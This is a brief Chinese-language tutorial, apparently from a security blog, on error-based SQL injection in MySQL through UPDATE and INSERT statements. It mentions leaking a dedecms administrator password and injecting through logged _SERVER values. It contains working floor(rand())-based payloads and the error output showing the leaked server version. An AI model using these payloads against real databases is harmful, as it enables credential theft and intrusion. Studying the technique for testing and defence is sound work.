以MySQL為例,有時(shí)候運(yùn)氣好的話update類型的SQL注射可以直接將我們需要的內(nèi)容更新到我們可見(jiàn)的字段里.這樣比較方便,比如這篇文章提到的dedecms的注射爆管理員密碼的漏洞,期間我還傻傻的寫(xiě)了個(gè)小程序盲注來(lái)著,后來(lái)發(fā)現(xiàn)沒(méi)必要,可以直接把密碼字段的內(nèi)容放到用戶名里顯示出來(lái).有時(shí)候運(yùn)氣不好,那個(gè)字段內(nèi)容顯示不出來(lái)的話,恰巧能輸出mysql錯(cuò)誤信息,也可以利用報(bào)錯(cuò)注射.
update 類型爆錯(cuò)注入
update web_ids set host=' www.2cto.com ' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (version())),1,62)))a from information_schema.tables group by a)b);
ERROR 1062 (23000): Duplicate entry ’15.1.41-3ubuntu12.10‘ for key ‘group_key’
insert 類型報(bào)錯(cuò)盲注
有的比較猥瑣的網(wǎng)站會(huì)記錄訪問(wèn)者的ip地址,瀏覽器信息等等到數(shù)據(jù)庫(kù)里,
有些_SERVER變量不受魔術(shù)引號(hào)控制,或者我們可以覆蓋_SERVER變量的話,這類漏洞就可能發(fā)生.
但是一般情況下數(shù)據(jù)只會(huì)才后臺(tái)顯示,不會(huì)在前臺(tái)顯示出來(lái)
這類漏洞運(yùn)氣好的話,也可以報(bào)錯(cuò)注射,運(yùn)氣不好的話就延時(shí)盲注猜解吧.
insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (version())),1,62)))a from information_schema.tables group by a)b)));
ERROR 1062 (23000): Duplicate entry ’15.1.41-3ubuntu12.10‘ for key ‘group_key’